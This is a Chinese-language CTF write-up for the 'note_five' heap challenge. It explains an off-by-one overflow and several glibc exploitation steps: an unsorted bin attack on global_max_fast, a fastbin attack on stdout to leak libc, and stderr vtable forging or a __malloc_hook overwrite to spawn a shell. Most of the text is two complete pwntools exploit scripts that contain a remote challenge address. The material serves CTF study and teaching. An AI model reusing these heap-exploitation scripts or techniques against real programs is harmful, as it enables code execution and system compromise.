阅读大佬的wp后复现了一下本题的多种解法

题目分析

  • 本题是一道菜单题,只有new、edit和delete功能,没有show功能。不存在UAF。
  • edit所用的输入函数存在Off-By-One漏洞
    在这里插入图片描述
  • chunk 的大小限制在 0x8f ~ 0x400

解题思路1(exp见文末)

利用Off-By-One漏洞构造Overlapping,构造块的bk 为global_max_fast -0x10unsorted bin attack 修改global_max_fast;利用 stdout-0x51处的 0xff 作为 chunk 的 size,fast bin attack_IO_2_1_stdout_附近分配chunk,修改_IO_write_base中的值,使它指向想要泄露的地址(stdout+0x20),泄露libc;伪造 stderr ,最终触发 IO_flush_all来 getshell。

此处只细讲泄露libc base后伪造stderr的部分,前面部分请看exp的注释。

伪造_IO_FILE需要满足的条件如下,满足其一即可:
在这里插入图片描述
一般条件1较容易构造,但因为分配的块位于stdout-0x41,可以同时控制_IO_2_1_stderr_vtablewide_data,所以可以构造条件2。

  • stderr 本身满足 fp->_vtable_offset == 0,不用改

  • 构造mode fp->_mode > 0_wide_data (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    fake_file=''
    fake_file+='0'
    fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)#fp->_wide_data
    fake_file+=p64(0)
    fake_file+=p64(0)
    fake_file+=p64(0)
    fake_file+=p64(0x1)#fp->_mode > 0
    fake_file+=p64(0x0)
    fake_file+=p64(0x0)
    fake_file+=p64(vtable_address) #fp->vtable

    构造的_IO_2_1_stderr_如下

    构造的fd->_wide_data
    构造的fd->_wide_data

  • 最后构造vtable,vtable->_IO_OVERFLOW为one_gadget

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    fake_file=''
    fake_file+='0'
    fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)
    fake_file+=p64(0)
    fake_file+=p64(0)
    fake_file+=p64(0)#stderr->vtable->dummy nobody care |
    fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |
    fake_file+=p64(0x0)#stderr->vtable->finish nobody care |
    fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|
    fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable

解题思路2(exp见文末)

泄露libc的方法和解题思路1一样,不再赘述;泄露libc后改malloc_hookone_gadget,但malloc_hook低地址处可用的size除了0x7f,最近的只有位于__malloc_hook-0x1a1的0xff,不过可以通过构造两次chunk,第1个chunk写入1个size提供给第2个chunk,最终控制malloc_hook。
在这里插入图片描述
构造第1个chunk:先free掉overlap的那块,改fd为0xff所在的地址,再malloc两次即可,然后在适当的位置(我选择的__malloc_hook'-0xb8)填入size(0xf1)

1
2
3
4
5
6
7
8
9
10
11
12
13
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0x1a1)
edit(0,content0)

new(2,0xf0-8)
new(3,0xf0-8)#fake chunk 1
fake_size=''
fake_size+='\x00'*(0xf0-0x10+1)
fake_size+=p64(0xf1)
edit(3,fake_size)

构造第2块还是先把overlap的那块free掉,把fd改为第一块构造size的地址__malloc_hook'-0xb8,再malloc两次。另外直接改malloc_hook的话rax和栈都不满足要求,加上realloc+13的偏移后rsp+0x30是0(耶)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
delete(2)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0xb8)
edit(0,content0)

new(1,0xf0-8)
new(1,0xf0-8)#fake chunk 2
fake_mh=''
fake_mh+='\x00'*(0xa0)
fake_mh+=p64(one_gadget)
fake_mh+=p64(libc.symbols['realloc']+13)
edit(1,fake_mh)

本文所用exp

exp1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process('./note_five')
else:
client=remote("112.126.103.195",9999)
elf = ELF('./note_five')
libc = ELF('./libc.so')

def new(idx,size):
io.recvuntil('choice>> ')
io.sendline('1')
io.recvuntil('idx: ')
io.sendline(str(idx))
io.recvuntil('size: ')
io.sendline(str(size))

def edit(idx,content):
io.recvuntil('choice>> ')
io.sendline('2')
io.recvuntil('idx: ')
io.sendline(str(idx))
io.recvuntil('content: ')
io.sendline(content)

def delete(idx):
io.recvuntil('choice>> ')
io.sendline('3')
io.recvuntil('idx: ')
io.sendline(str(idx))

#overlapping
new(4,0xf0-8)
new(0,0xf0-8)
new(1,0xa0-8)
new(2,0xf0-8)
new(3,0xf0-8)

content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
delete(0)

content1=''
content1+='1'*(152-8)
content1+=p64(0xf0+0xa0)
content1+='\xf0'
edit(1,content1)

content2=''
content2+=p64(0xf1)*20
edit(2,content2)

content3=''
content3+='3'*(0xf0-8)
edit(3,content3)

delete(2)#free (012) to unsorted bin

new(0,0xf0+0xa0+0xf0-8)#malloc (012)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)

content1=''
content1+='1'*(0xa0-8)
content1+='\xf1'
edit(1,content1)

delete(1)#free 1 to unsorted bin


#guess offset
guess_offset = 3#1/16
global_max_fast = (guess_offset << 12) | 0x7f8
stdout = global_max_fast-0x11d8

#unsorted bin attack to change global_max_fast
content0=''
content0+='0'*(0xf0-8)
content0+=p64(0xa1)
content0+=p64(0x0)#fd
content0+=p16(global_max_fast-0x10)#bk
edit(0,content0)
new(1,0xa0-8)#global_max_fast


content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
edit(0,content0)

#fast bin attack change the stdout leak libcbase
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p16(stdout-0x51)
edit(0,content0)

new(4,0xf0-8)
new(4,0xf0-8)

fake=''
fake+='0'*0x41
fake+=p64(0xfbad1800)#stdout->flags
fake+=p64(0x0)*3
fake+=p16(stdout+0x20)#stdout->_IO_write_base
edit(4,fake)

libc.address = u64(io.recv(8))-0x3c5640

one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc.address+one_gadgets[2]

#change the stderr to
fake_file=''
fake_file+='0'
fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x40)
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0)#stderr->vtable->dummy nobody care |
fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |
fake_file+=p64(0x0)#stderr->vtable->finish nobody care |
fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|
fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable
edit(4,fake_file)

#getshell
io.recvuntil('choice>> ')
io.sendline('4')#IO_flush_all to _IO_OVERFLOW to onegadget

io.interactive()
exp2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process('./note_five.dms')
else:
client=remote("112.126.103.195",9999)
elf = ELF('./note_five.dms')
libc = ELF('./libc.so')

def new(idx,size):
io.recvuntil('choice>> ')
io.sendline('1')
io.recvuntil('idx: ')
io.sendline(str(idx))
io.recvuntil('size: ')
io.sendline(str(size))

def edit(idx,content):
io.recvuntil('choice>> ')
io.sendline('2')
io.recvuntil('idx: ')
io.sendline(str(idx))
io.recvuntil('content: ')
io.sendline(content)

def delete(idx):
io.recvuntil('choice>> ')
io.sendline('3')
io.recvuntil('idx: ')
io.sendline(str(idx))

#overlapping
new(4,0xf0-8)
new(0,0xf0-8)
new(1,0xa0-8)
new(2,0xf0-8)
new(3,0xf0-8)

content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
delete(0)

content1=''
content1+='1'*(152-8)
content1+=p64(0xf0+0xa0)
content1+='\xf0'
edit(1,content1)

content2=''
content2+=p64(0xf1)*20
edit(2,content2)

content3=''
content3+='3'*(0xf0-8)
edit(3,content3)

delete(2)#free (012) to unsorted bin

new(0,0xf0+0xa0+0xf0-8)#malloc (012)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)

content1=''
content1+='1'*(0xa0-8)
content1+='\xf1'
edit(1,content1)

delete(1)#free 1 to unsorted bin


#guess offset
guess_offset = 3#1/16
global_max_fast = (guess_offset << 12) | 0x7f8
stdout = global_max_fast-0x11d8

#unsorted bin attack to change global_max_fast
content0=''
content0+='0'*(0xf0-8)
content0+=p64(0xa1)
content0+=p64(0x0)#fd
content0+=p16(global_max_fast-0x10)#bk
edit(0,content0)
new(1,0xa0-8)#global_max_fast


content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
edit(0,content0)

#fast bin attack change the stdout leak libcbase
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p16(stdout-0x51)
edit(0,content0)

new(1,0xf0-8)
new(4,0xf0-8)

fake=''
fake+='0'*0x41
fake+=p64(0xfbad1800)#stdout->flags
fake+=p64(0x0)*3
fake+=p16(stdout+0x20)#stdout->_IO_write_base
edit(4,fake)

libc.address = u64(io.recvuntil('info')[0:8])-0x3c5640

one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]#rax 30 50 70
one_gadget=libc.address+one_gadgets[1]

#change malloc_hook
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0x1a1)
edit(0,content0)

new(2,0xf0-8)
new(3,0xf0-8)#fake chunk 1
fake_size=''
fake_size+='\x00'*(0xf0-0x10+1)
fake_size+=p64(0xf1)
edit(3,fake_size)

delete(2)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0xb8)
edit(0,content0)

new(1,0xf0-8)
new(1,0xf0-8)#fake chunk 2
fake_mh=''
fake_mh+='\x00'*(0xa0)
fake_mh+=p64(one_gadget)
fake_mh+=p64(libc.symbols['realloc']+13)
edit(1,fake_mh)

#getshell
new(4,1000)

io.interactive()